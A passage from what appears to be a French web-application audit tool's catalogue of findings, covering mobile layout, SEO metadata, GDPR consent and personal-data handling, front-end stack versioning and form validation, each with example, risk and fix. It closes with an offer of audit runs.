- Expérience utilisateur dégradée (impasse).
- Correction
- Configurer une page 404 personnalisée (cohérente avec le design) côté serveur/SSG.
La page ne s’adapte pas à la taille de l’écran meta viewport
La balise <meta name="viewport"> est absente, mal configurée, ou bloque la mise à l'échelle. Sans elle, le mobile affiche la version desktop zoomée à 980px et l'utilisateur doit pincer pour zoomer : l'app est inutilisable sans manipulation manuelle.
- Exemple
- Pas de balise viewport → iPhone affiche la page à 33 % de taille, illisible.
- Risque
- App inutilisable sur mobile sans zoom manuel (>50 % du trafic perdu).
- Correction
- Ajouter
<meta name="viewport" content="width=device-width, initial-scale=1">dans le<head>(sansuser-scalable=noqui casse l'accessibilité).
Un bouton qui ne fait rien
Un bouton paraît actif visuellement mais n'a aucun handler attaché. Différent d'un orphelin : ici l'élément est styled comme actif.
- Exemple
- Bouton CTA principal de la home sans
onClick(oubli React). - Risque
- Perte de conversion directe.
- Correction
- Brancher le handler ou désactiver visuellement le bouton (
disabled).
Un clic intercepté par un élément posé par-dessus
L'élément est fonctionnel, mais un autre nœud le recouvre au point de clic et reçoit l'interaction à sa place. Vérifié par elementFromPoint sur le centre de la cible avant de conclure.
- Exemple
- Bannière de consentement fixée en bas d'écran masquant les actions du pied de page.
- Risque
- L'utilisateur clique, rien ne se produit, et il conclut que la fonction est cassée.
- Correction
- Réduire l'emprise de l'élément superposé, lui donner
pointer-events: nonequand il est décoratif, ou réserver son espace dans le flux plutôt que de le fixer par-dessus.
Un clic sans effet visible
L'utilisateur clique sur un élément, mais aucun retour visuel (loader, état, mutation, message). L'app paraît figée.
- Exemple
- Bouton 'Envoyer' → aucune indication de progression → l'utilisateur clique 5 fois.
- Risque
- Double-soumissions involontaires (paiements, envois).
- Correction
- Ajouter un état loading / disabled pendant la requête, et un message de succès/échec.
Un élément cliquable coupé par le bord de l’écran
Un élément interactif est partiellement visible mais coupé par un bord de l'écran (dépasse à droite ou déborde à gauche en négatif). Typiquement un menu ou dropdown ancré près d'un bord qui rend hors-champ sur mobile.
- Exemple
- Un menu déroulant
absolute right-0 w-64rendu àleft: -84pxsur un écran de 375px. - Risque
- Options/actions inaccessibles.
- Correction
- Ancrer les menus mobiles en
fixed inset-x-2plutôt qu'enabsolutelargeur fixe près d'un bord.
Un réglage qui ne change rien quand on le modifie
La valeur d'une liste déroulante ou d'une case à cocher a été modifiée, et rien ne s'est produit : aucune requête, aucun changement à l'écran, aucun message. Le contrôle est présent, mais il ne pilote rien d'observable.
- Exemple
- Un filtre « Statut » sur une liste : changer la valeur ne relance aucun appel et la liste reste identique.
- Risque
- L’utilisateur croit avoir filtré et lit des données qui ne correspondent pas à sa demande.
- Correction
- Vérifier que le gestionnaire de changement est bien câblé et qu’il relance la requête ou le rendu.
Une commande qui ne produit rien d’observable
Un élément cliquable (bouton, lien, élément avec handler) ne produit aucun changement détectable : pas de mutation DOM, pas de requête réseau, pas de navigation.
- Exemple
- Clic sur 'Rafraîchir' → handler câblé mais en réalité no-op.
- Risque
- Actions critiques perçues comme exécutées alors que rien ne se passe.
- Correction
- Tracer le handler avec un log, vérifier que la mutation/requête est bien émise.
Une fenêtre qui s’ouvre en partie hors de l’écran
Une fois ouvert, un overlay (dropdown, menu, popover) s'affiche partiellement hors de l'écran sur mobile. Détecté en ouvrant chaque déclencheur (mode --probe) puis en re-vérifiant le clipping de l'état ouvert.
- Exemple
- Le sélecteur de créneau ouvre un menu rendu à
x = -84sur un écran de 375px. - Risque
- Options de l'overlay inaccessibles.
- Correction
- Ancrer les overlays mobiles en
fixed inset-x-2; tester l'état ouvert, pas seulement l'état initial.
Une zone qui défile de côté sans raison
Un conteneur en overflow-x: auto/scroll scrolle horizontalement au mobile là où il devrait s'adapter. Le débordement est masqué au check document car le scroll est contenu.
- Exemple
- Un tableau d'historique
overflow-x-auto -mx-6qui scrolle à 375px au lieu de s'empiler. - Risque
- Contenu masqué hors du scroll.
- Correction
- Rendre les tables responsives (empilement en cartes sur mobile) ; opt-in explicite
data-allow-xscrollsinon.
Référencement
18Ce que les moteurs de recherche comprennent de la page.
Aucun fichier ne dit aux moteurs de recherche quoi indexer robots.txt
La page /robots.txt n’a pas répondu. Les moteurs de recherche explorent le site sans consigne explicite sur ce qu’il faut indexer, éviter, ou à quelle vitesse le parcourir.
- Exemple
- Une zone d’administration jamais déclarée en interdiction peut finir indexée par accident.
- Risque
- Des pages non destinées au public peuvent apparaître dans les résultats de recherche.
- Correction
- Servir un /robots.txt minimal (
User-agent: *puis les règles utiles) à la racine du site.
Aucun plan du site pour aider les moteurs de recherche à tout trouver sitemap.xml
La page /sitemap.xml n’a pas répondu. Les moteurs de recherche ne découvrent alors les pages qu’en suivant les liens internes, ce qui laisse de côté les pages profondes ou faiblement liées.
- Exemple
- Une fiche produit récente, liée depuis un seul endroit peu visible, met des semaines à être indexée.
- Risque
- Des pages existantes mais peu liées restent invisibles pour la recherche pendant longtemps.
- Correction
- Générer un /sitemap.xml listant les pages publiques, et le déclarer dans /robots.txt.
L’aperçu réseaux sociaux n’a pas d’image og:image
Pas de <meta property="og:image">. Le partage s'affiche sans visuel, format nettement moins repérable dans un fil ou une conversation.
- Exemple
- Un partage LinkedIn réduit à une bande de texte grise sans illustration.
- Risque
- Visibilité et engagement réduits sur les partages sociaux.
- Correction
- Ajouter
<meta property="og:image" content="https://…/share.png">en 1200×630.
L’aperçu réseaux sociaux n’a pas de description og:description
Pas de <meta property="og:description">. La carte de partage se remplit d'un fragment de contenu tronqué, ou reste vide.
- Exemple
- Une carte LinkedIn affichant un bout de menu de navigation en guise de résumé.
- Risque
- Accroche du lien partagé inexistante, engagement en baisse.
- Correction
- Ajouter
<meta property="og:description" content="…">, réutilisable depuis la meta description.
L’aperçu réseaux sociaux n’a pas de titre og:title
Pas de <meta property="og:title">. Les aperçus générés par LinkedIn, Slack, X ou les messageries n'ont pas de titre à afficher et retombent sur l'URL brute.
- Exemple
- Un lien collé dans Slack affiche
https://app.exemple.fr/a/312sans aucun libellé. - Risque
- Liens partagés peu cliqués : rien n'indique ce qu'ils contiennent.
- Correction
- Ajouter
<meta property="og:title" content="…">par page, aligné sur le<title>.
L’application ne peut pas être installée comme une app web manifest
La page ne référence pas de web app manifest (<link rel="manifest">). Le site ne peut pas être installé en PWA ni fournir d'icônes/nom propres sur mobile.
- Exemple
- « Ajouter à l'écran d'accueil » utilise une capture générique au lieu d'une icône dédiée.
- Risque
- Pas d'installation PWA.
- Correction
- Ajouter un
manifest.webmanifest(nom, icônes, theme_color) et le lier dans le<head>.
La description du contenu pour les moteurs de recherche est invalide JSON-LD
Un bloc JSON-LD présent dans la page contient du JSON syntaxiquement invalide. Il est silencieusement ignoré par les moteurs : la donnée structurée est perdue alors que le développeur croit la fournir.
- Exemple
- Une virgule en trop ou un guillemet non échappé dans le JSON-LD fait échouer tout le bloc.
- Risque
- Donnée structurée totalement ignorée (rich results absents).
- Correction
- Valider le JSON-LD via le Rich Results Test de Google et corriger la syntaxe.
La page a plusieurs titres principaux h1
La page comporte plusieurs <h1>. Le sujet principal devient ambigu et la hiérarchie annoncée aux lecteurs d'écran s'aplatit. HTML5 tolère la construction dans des éléments de sectionnement : à relire avant d'ouvrir un ticket.
- Exemple
- Une page assemblée à partir de blocs CMS où chaque bloc pose son propre
<h1>. - Risque
- Signal de sujet dilué pour les moteurs.
- Correction
- Ne garder qu'un
<h1>(le titre de la page) et rétrograder les autres en<h2>/<h3>.
La page demande aux moteurs de recherche de l’ignorer noindex
La page porte une directive noindex (balise meta robots ou en-tête X-Robots-Tag) : elle ne sera pas indexée. Légitime sur une zone privée ou technique, le constat est informatif et demande une confirmation d'intention.
- Exemple
- Un
noindexglobal posé pendant une recette et laissé en place à la mise en production. - Risque
- Page publique absente des moteurs, trafic organique nul.
- Correction
- Vérifier l'intention : retirer
noindexdes pages publiques, le réserver aux zones privées ou techniques.
La page n’a pas d’aperçu pour les réseaux sociaux Open Graph
Pas de balises og:title, og:image, og:description. Le partage sur réseaux sociaux génère un aperçu pauvre voire vide.
- Exemple
- Partage sur LinkedIn → aucune image, titre tronqué → CTR très bas.
- Risque
- CTR social effondré, partages moins engageants.
- Correction
- Ajouter
og:title,og:description,og:image(1200×630) au minimum.
La page n’a pas d’icône favicon
Aucune favicon (<link rel="icon">) n'est déclarée. L'onglet du navigateur et les favoris affichent une icône générique.
- Exemple
- Plusieurs onglets ouverts du même site impossibles à distinguer au pictogramme.
- Risque
- Site perçu comme inachevé.
- Correction
- Fournir une favicon (
favicon.icoou<link rel="icon">SVG/PNG) et unapple-touch-icon.
La page n’a pas de résumé pour les moteurs de recherche meta description
Aucune <meta name="description">. Le moteur compose lui-même le résumé affiché sous le lien, à partir d'un fragment arbitraire de la page, souvent un menu ou un pied de page.
- Exemple
- Le résultat Google affiche « Accueil Contact Mentions légales… » repris du menu.
- Risque
- Taux de clic organique réduit : le résumé ne donne aucune raison de cliquer.
- Correction
- Ajouter une
<meta name="description" content="…">de 140-160 caractères résumant la page.
La page n’a pas de titre <title>
La page ne fournit pas de <title> exploitable. C'est le seul libellé dont disposent les résultats de recherche, l'onglet du navigateur, l'historique et les favoris, et c'est la première chose qu'un lecteur d'écran annonce au chargement.
- Exemple
- L'onglet affiche
app.exemple.fr/factures/312au lieu de « Facture 312 · Exemple ». - Risque
- Trafic organique perdu : le résultat est illisible dans les SERP.
- Correction
- Générer un
<title>unique et descriptif par route (50-60 caractères), côté SSR ou via le routeur.
La page n’a pas de titre principal h1
La page ne comporte aucun <h1>. Elle n'expose pas de titre principal : les moteurs n'identifient pas son sujet, et la navigation par en-têtes (le raccourci le plus utilisé par les lecteurs d'écran) n'a pas de point d'entrée.
- Exemple
- Une page produit dont le nom est affiché dans une
<div>stylée : visuellement un titre, structurellement rien. - Risque
- Sujet de la page non identifié par les moteurs, positionnement dégradé.
- Correction
- Promouvoir le titre visuel de la page en
<h1>(un seul par page), plutôt qu'une<div>stylée.
La page ne décrit pas son contenu aux moteurs de recherche JSON-LD
La page ne fournit aucune donnée structurée Schema.org en JSON-LD. Google ne peut donc pas afficher de résultats enrichis (fil d'Ariane, dates d'article, FAQ, étoiles) dans ses pages de résultats.
- Exemple
- Un article de blog sans
@type: Article→ pas de date ni d'auteur affichés dans Google. - Risque
- Taux de clic plus faible dans les résultats de recherche (pas de rich snippet).
- Correction
- Ajouter un bloc
<script type="application/ld+json">décrivant la page (Article, Organization, BreadcrumbList…) selon Schema.org.
La page ne dit pas quelle est son adresse de référence canonical
Aucune <link rel="canonical">. Les variantes d'une même URL (paramètres de tracking, de tri, de pagination, http/https, avec ou sans www) sont indexées comme des pages distinctes.
- Exemple
/produits?utm_source=newsletteret/produitsindexées séparément.- Risque
- Autorité SEO diluée entre les doublons d'une même page.
- Correction
- Émettre
<link rel="canonical" href="…">avec l'URL de référence, côté rendu serveur.
Le titre principal de la page est incorrect h1
La page n'a pas exactement une <h1>. Hiérarchie incertaine pour Google et les lecteurs d'écran.
- Exemple
- Page sans
<h1>→ Google génère un titre depuis le<title>ou un fragment de contenu. - Risque
- SEO dégradé.
- Correction
- Garantir un seul
<h1>par page, qui résume le sujet principal.
Pas d’aperçu pour X (Twitter) Twitter Card
La page ne déclare pas de <meta name="twitter:card">. Les partages sur X/Twitter affichent un lien nu, sans vignette ni titre enrichi.
- Exemple
- Partage d'un article sur X → simple URL sans image d'aperçu.
- Risque
- Engagement social réduit sur les partages.
- Correction
- Ajouter les balises
twitter:card,twitter:title,twitter:descriptionettwitter:image.
Gouvernance
16Le consentement, les mentions et les règles que l’application doit tenir.
Aucun bandeau ne demande le consentement aux témoins cookies
Aucun mécanisme de consentement cookies n'est détecté. Si des trackers tiers sont chargés, c'est une violation directe du RGPD.
- Exemple
- Google Analytics chargé immédiatement → tracking sans consentement.
- Risque
- Sanctions CNIL (jusqu'à 4 % CA mondial).
- Correction
- Mettre en place un CMP (Cookie Management Platform) conforme : tarteaucitron, Axeptio, OneTrust, ou un opt-in maison strict.
Aucun moyen visible de supprimer son compte ou ses données
L'écran de compte ou de paramètres ne présente aucun contrôle de suppression du compte ou des données personnelles.
- Exemple
- Page « Paramètres du compte » sans bouton ni lien « Supprimer mon compte ».
- Risque
- Exercice du droit à l'effacement (RGPD Art. 17) réduit à un contact manuel, sans délai garanti.
- Correction
- Ajouter un contrôle dédié « Supprimer mon compte / mes données » sur l'écran de compte, relié à une procédure d'effacement.
Des données personnelles envoyées à un traceur
Une requête de tracking tierce transporte une donnée personnelle (email, identifiant utilisateur) en clair dans sa query string.
- Exemple
.../collect?uid=jean.dupont@example.comenvoyé à un analytics tiers.- Risque
- Fuite de PII vers un sous-traitant sans base légale.
- Correction
- Ne jamais passer d'email/identifiant en clair aux traceurs ; utiliser des identifiants pseudonymisés.
Des services tiers détenteurs de données personnelles sont appelés depuis la page data recipient mapping
Des hôtes tiers appartenant à des catégories détentrices de données personnelles (CRM, emailing, analytics, support, paiement) reçoivent des appels depuis cette page. Le constat cartographie leur présence ; il ne vérifie pas qu'une demande d'effacement leur est effectivement propagée.
- Exemple
- Des appels sont observés vers un hôte de CRM et un hôte d’emailing tiers.
- Risque
- Une demande d'effacement RGPD traitée seulement dans la base principale laisse la donnée vivante chez ces destinataires tiers.
- Correction
- Étendre la procédure d'effacement à chaque système tiers détenteur de données identifié ici (cf. article 17 RGPD).
Des témoins de suivi posés avant tout consentement cookies de tracking
Des cookies non essentiels (analytics, publicité, fingerprinting) sont posés AVANT que l'utilisateur ait donné son consentement explicite. Violation directe du RGPD et des lignes directrices CNIL : la simple visite de la page entraîne du tracking non autorisé.
- Exemple
- Cookie
_ga(Google Analytics) déposé dès l'arrivée sur la home, avant tout clic sur le bandeau. - Risque
- Sanctions CNIL : jusqu'à 4 % du chiffre d'affaires annuel mondial (cas Google : 150 M€, Amazon : 35 M€).
- Correction
- Bloquer l'initialisation de tout tracker tiers (Google Analytics, Meta Pixel, Hotjar...) tant que le consentement n'est pas explicitement enregistré : utiliser un CMP (Axeptio, OneTrust, tarteaucitron) ou un gating maison strict.
Des témoins sont posés avant tout consentement cookies
Des cookies non essentiels (analytics, ads) sont posés AVANT que l'utilisateur ait cliqué sur 'accepter'. Non-conforme RGPD.
- Exemple
- Cookie
_ga(Google Analytics) posé dès l'arrivée sur la home, avant interaction. - Risque
- Sanctions CNIL (cas Google, Amazon condamnés sur ce motif).
- Correction
- Bloquer l'initialisation des trackers tant que le consentement n'est pas explicite, et purger les cookies déjà posés.
Des traceurs encore actifs après un refus
Après un clic sur « Refuser » dans le bandeau de consentement, des requêtes de tracking tierces continuent de partir. Le refus n'est pas respecté.
- Exemple
- Clic sur « Tout refuser » → GA4/Meta Pixel se déclenchent quand même au rechargement.
- Risque
- Violation RGPD/ePrivacy la plus flagrante.
- Correction
- Bloquer réellement le chargement des traceurs tant que le consentement n’est pas donné (consent mode).
Des traceurs sans aucun dispositif de consentement CMP
Des traceurs tiers sont présents mais aucune plateforme de gestion du consentement (Didomi, OneTrust, Axeptio, Cookiebot…) n'a été détectée.
- Exemple
- Meta Pixel chargé alors qu'aucune bannière/CMP n'est présente sur le site.
- Risque
- Impossible de recueillir ou prouver le consentement.
- Correction
- Intégrer une CMP et conditionner le chargement des traceurs à son signal de consentement.
Le bandeau des témoins ne renvoie pas vers les conditions cookies
Le bandeau de consentement ne propose aucun lien vers la politique de confidentialité ou les conditions d'utilisation. La personne consent sans pouvoir consulter ce à quoi elle consent.
- Exemple
- Un bandeau qui n’offre que « Accepter » et « Refuser », sans « En savoir plus ».
- Risque
- Consentement difficilement qualifiable d'éclairé au sens du RGPD.
- Correction
- Ajouter dans le bandeau un lien direct vers la politique de confidentialité.
Un champ sensible obligatoire sans explication de sa finalité
Un champ requis porte sur une donnée sensible (date de naissance, téléphone, adresse…) et aucun texte à proximité n'explique pourquoi elle est demandée.
- Exemple
- Champ « Date de naissance » obligatoire, sans mention de son usage (âge légal, statistiques…).
- Risque
- Collecte perçue comme excessive au regard de la finalité déclarée.
- Correction
- Ajouter une courte phrase à côté du champ expliquant pourquoi cette donnée est nécessaire.
Un identifiant sensible est affiché sans masquage PAN / NIR
Un numéro de carte bancaire ou de sécurité sociale apparaît en clair, en entier, dans le contenu affiché de la page au lieu de montrer seulement ses derniers chiffres.
- Exemple
4111 1111 1111 1111affiché en entier plutôt que•••• •••• •••• 1111.- Risque
- Exposition immédiate en cas de capture d'écran ou de partage de session.
- Correction
- Ne jamais afficher plus des 4 derniers chiffres ; masquer le reste côté serveur, avant envoi au navigateur.
Un traceur se déclenche avant tout consentement
Une ou plusieurs requêtes vers des services de tracking tiers (Google Analytics, Meta Pixel, Hotjar…) partent dès le chargement, avant que l'utilisateur ait donné son consentement.
- Exemple
- GA4 (
google-analytics.com/g/collect) appelé au premier rendu, sans clic sur « Accepter ». - Risque
- Violation RGPD/ePrivacy directement sanctionnable (CNIL).
- Correction
- Ne charger les scripts de tracking qu'après un consentement explicite via une CMP (consent mode).
Une donnée est envoyée sans jamais être demandée à l’écran corps de requête API
Une requête d'écriture transporte une clé qu'aucun champ visible du formulaire ne demande : la personne ne sait pas que cette donnée part.
- Exemple
POST /api/profileenvoiedateOfBirthalors que le formulaire affiché ne comporte qu'un champ email.- Risque
- Collecte non transparente pour la personne concernée.
- Correction
- Retirer la clé du corps envoyé, ou ajouter le champ correspondant si la collecte est réellement nécessaire.
Une donnée personnelle circule dans une adresse de la page query string
Une donnée personnelle (email, téléphone, IBAN…) apparaît dans les paramètres d'une requête vers l'application elle-même : elle finit dans les journaux serveur et l'historique du navigateur.
- Exemple
GET /api/search?email=jean.dupont@example.comau lieu de la transmettre dans le corps de la requête.- Risque
- Donnée personnelle journalisée durablement côté serveur.
- Correction
- Transmettre la donnée dans le corps de la requête (POST) plutôt que dans son adresse.
Une donnée personnelle est conservée dans le stockage du navigateur localStorage / sessionStorage
Une donnée personnelle est écrite en clair dans le stockage local ou de session du navigateur, où tout script exécuté sur la page peut la lire.
- Exemple
localStorage.setItem("profile", JSON.stringify({ email, iban })).- Risque
- Lecture possible par un script tiers compromis (XSS).
- Correction
- Ne stocker côté client que des identifiants techniques, jamais la donnée personnelle elle-même.
Une réponse d’erreur répète une donnée personnelle saisie
Une réponse en erreur (4xx/5xx) de l'application réintègre dans son corps une donnée personnelle que la personne venait de saisir.
- Exemple
- Un formulaire refusé avec
500 { "error": "duplicate for jean.dupont@example.com" }. - Risque
- Donnée personnelle capturée par un outil de supervision ou un proxy.
- Correction
- Faire répondre l'API avec un message d'erreur générique, sans réinjecter la valeur saisie.
Socle technique
8Les composants, versions et outils que la page embarque.
Aucune version de l’application n’est identifiable depuis l’extérieur version applicative
Aucune page visitée ne porte de marqueur de version (pied de page, balise meta, en-tête X-App-Version) : impossible de dater ou d'identifier de l'extérieur la version actuellement déployée.
- Exemple
- Le pied de page ne mentionne aucun numéro de version, aucune balise
<meta name="version">n'est présente, aucun en-têteX-App-Versionn'a été observé. - Risque
- Impossible pour un client ou un partenaire de vérifier de l'extérieur si un correctif annoncé est bien déployé.
- Correction
- Exposer un numéro de version visible (pied de page,
/version, en-têteX-App-Version).
La version affichée ne suit pas de convention MAJOR.MINOR.PATCH SemVer
La version trouvée (footer, meta, en-tête) n'a pas la forme MAJOR.MINOR.PATCH : un numéro de build, une date ou un identifiant arbitraire ne dit rien de la nature du changement.
- Exemple
- Le pied de page affiche
Build 20240315-a1b2c3dplutôt qu’un numéro2.4.1. - Risque
- Un intégrateur ne peut pas déduire du numéro seul si une évolution casse la compatibilité.
- Correction
- Adopter
MAJOR.MINOR.PATCH(Semantic Versioning) pour le numéro de version exposé.
Les erreurs du serveur n’ont pas de forme définie
Les erreurs API ne suivent pas un format standardisé (parfois { error: '...' }, parfois { message }, parfois plain text). Le front ne sait pas afficher des messages cohérents.
- Exemple
- Erreur 400 renvoyée tantôt en JSON, tantôt en plain text.
- Risque
- Messages d'erreur incohérents pour l'utilisateur.
- Correction
- Adopter un format unifié (RFC 7807 /
{ code, message, details }) et le documenter.
Les fichiers de l’application ne portent pas d’empreinte de contenu dans leur nom content hash
Les fichiers JS/CSS de l'application sont servis sous un nom fixe (app.js) plutôt qu'un nom incluant une empreinte de leur contenu (app.3f2a1c9.js) : le cache ne peut pas distinguer deux versions successives du même fichier.
- Exemple
main.jsest identique d’une visite à l’autre dans son nom, quel que soit le contenu réellement livré.- Risque
- Un cache CDN ou navigateur peut servir une ancienne version après déploiement, sans moyen fiable de le détecter.
- Correction
- Faire porter au nom de fichier un hash de son contenu (fingerprinting), généré par le bundler.
Un même appel ne renvoie pas toujours la même forme de données contrat API
Une même endpoint renvoie des shapes différents selon les appels (champs absents, types changeants). Le front doit gérer plusieurs formes.
- Exemple
/api/userrenvoie parfois{ name }, parfois{ firstName, lastName }.- Risque
- Bugs front intermittents difficiles à reproduire.
- Correction
- Définir un schéma OpenAPI / Zod côté serveur, normaliser les réponses.
Un service de feature flags externe pilote des fonctionnalités de l’application feature flag SDK
Le navigateur appelle un service tiers de feature flags (LaunchDarkly, Unleash, Flagsmith, Split, ConfigCat) : certaines fonctionnalités sont activées ou désactivées par une configuration externe à l’application.
- Exemple
- Un appel réseau vers
clientsdk.launchdarkly.comest observé au chargement de la page. - Risque
- Une indisponibilité du service de flags peut désactiver des fonctionnalités si la valeur par défaut n'est pas le comportement existant.
- Correction
- Documenter les flags actifs et leur valeur par défaut en cas d'indisponibilité du service.
Un service extérieur appelé sans être connu de l’équipe dépendance API tierce
Une dépendance vers une API tierce (CRM, paiement, géocodage, IA, etc.) est utilisée par l'app sans être documentée dans un inventaire central (registre de dépendances, ADR, doc d'architecture). En cas de panne ou de changement de contrat, l'équipe peut être prise au dépourvu.
- Exemple
- L'app dépend de
api.stripe.commais Stripe n'apparaît pas dans le registre des dépendances → panne Stripe = panne silencieuse du paiement, personne n'est alerté immédiatement. - Risque
- Interruption de service silencieuse en cas de panne du tiers.
- Correction
- Maintenir un registre des dépendances API tierces (ADR, fichier
dependencies.yaml, ou outil dédié) et automatiser sa mise à jour depuis le code (scan des appels HTTP).
Une bibliothèque client observée porte un numéro de version exploitable pour un inventaire SCA / SBOM
La même lecture de version de bibliothèque front que SE-09, ici retenue comme point de départ d’un inventaire de dépendances (SBOM) plutôt que comme signal de sécurité : la présence d’une version n’est pas un défaut.
- Exemple
jquery-3.4.1.min.jsidentifie une dépendance et sa version exacte, utilisable dans un inventaire.- Risque
- Sans inventaire centralisé, une dépendance vulnérable découverte plus tard est longue à localiser dans l'application.
- Correction
- Constituer un SBOM des dépendances front à partir de ces versions observées, tenu à jour à chaque déploiement.
Formulaires
7Ce que les formulaires demandent, vérifient et répondent.
Le formulaire de création de compte n’a pas été essayé
Le formulaire crée un compte (champ mot de passe, route ou libellé d'inscription). Il n'est jamais soumis sans --allow-account-creation, même avec --submit-valid-forms : ouvrir un compte laisse une trace réelle chez la cible, souvent un e-mail, et ne se défait pas depuis l'extérieur.
- Exemple
- Page /signup avec e-mail + mot de passe.
- Risque
- Ce n'est pas un défaut de l'application : c'est une couverture d'audit manquante, signalée plutôt que tue.
- Correction
- Relancer avec
--allow-account-creationsur un environnement de test, jamais sur une production sans accord écrit du propriétaire.
Un formulaire accepte d’être envoyé vide
Soumettre le formulaire à vide ne déclenche aucun blocage côté client. L'utilisateur attend une réponse serveur (lente, frustrante).
- Exemple
- L'utilisateur clique 'Envoyer' sans remplir → loader 3 s puis erreur 400 → confusion.
- Risque
- UX dégradée (latence inutile, erreurs tardives).
- Correction
- Activer la validation HTML5 (
required+<form novalidate>non utilisé) ou un check JS au submit.
Un formulaire correctement rempli échoue à l’envoi
Un formulaire rempli avec des valeurs valides échoue à la soumission. Bug fonctionnel grave : on bloque les conversions.
- Exemple
- Form d'inscription avec email valide → erreur 500 → utilisateur ne peut pas s'inscrire.
- Risque
- Perte directe de conversion (inscription, paiement, leads).
- Correction
- Tracer l'erreur serveur (logs + Sentry) et reproduire avec les valeurs exactes.
Un formulaire où aucun champ n’est déclaré obligatoire required
Le formulaire ne marque aucun champ comme required. L'utilisateur peut soumettre vide : soit le serveur encaisse, soit il rejette tardivement.
- Exemple
- Form de contact sans
required→ soumission vide → mail vide envoyé au support. - Risque
- Données métier corrompues (lignes vides, comptes orphelins).
- Correction
- Marquer les champs obligatoires avec
requiredcôté HTML + validation serveur.
Un formulaire refusé ou impossible à envoyer
L'audit a rempli le formulaire avec des valeurs plausibles et l'a envoyé ; l'application l'a refusé, ou aucun bouton d'envoi n'était visible. Le message affiché est dans les occurrences.
- Exemple
- Un formulaire de création qui répond « identifiants invalides » parce que la session est tombée.
- Risque
- Un utilisateur qui remplit ce formulaire peut ne jamais aboutir.
- Correction
- Lire le message refusé dans les occurrences : s'il parle d'identifiants, c'est la session de l'audit ; sinon, reproduire l'envoi à la main.
Un formulaire sans règles de validation déclarées
Le formulaire a été reconnu par heuristique (composant sans balise <form>) ; ses champs n'ont ni attribut required ni type précis. Le navigateur ne peut rien valider avant l'envoi.
- Exemple
- Un bloc de deux champs et un bouton, sans <form>, sur la page d’accueil.
- Risque
- Aucune validation native : tout part au serveur.
- Correction
- Envelopper dans un <form>, poser required et type sur les champs.
Un problème de formulaire
Le formulaire présente un défaut structurel ou de robustesse (champ sans label, absence de validation, comportement inattendu à la soumission).
- Exemple
- Un champ requis sans indication ni validation côté client.
- Risque
- Saisie pénible et taux d’abandon élevé.
- Correction
- Associer chaque champ à un label, valider côté client, et afficher un retour explicite (succès/erreur) à la soumission.
Il entre là où les autres s’arrêtent.
Le voyage ne s’active que sur demande. Envoyez-moi trois choses, vous recevez le rapport.
- L’adresse de l’application, en préproduction de préférence
- Un compte de test, avec les droits d’un utilisateur ordinaire
- Le périmètre lecture seule, ou formulaires et clics autorisés
Ce qui se passe ensuite
- Vous m’écrivez l’adresse et le périmètre. Le compte de test arrive à part, jamais dans le courriel.
- Je lance le passage et je relis le rapport avant de vous l’envoyer.
- On le lit ensemble, une demi-heure en visio, pour que votre équipe sache par où commencer.
Les premiers passages sont offerts, relecture comprise, aux équipes qui acceptent de me dire ensuite ce qui leur a manqué dans le rapport.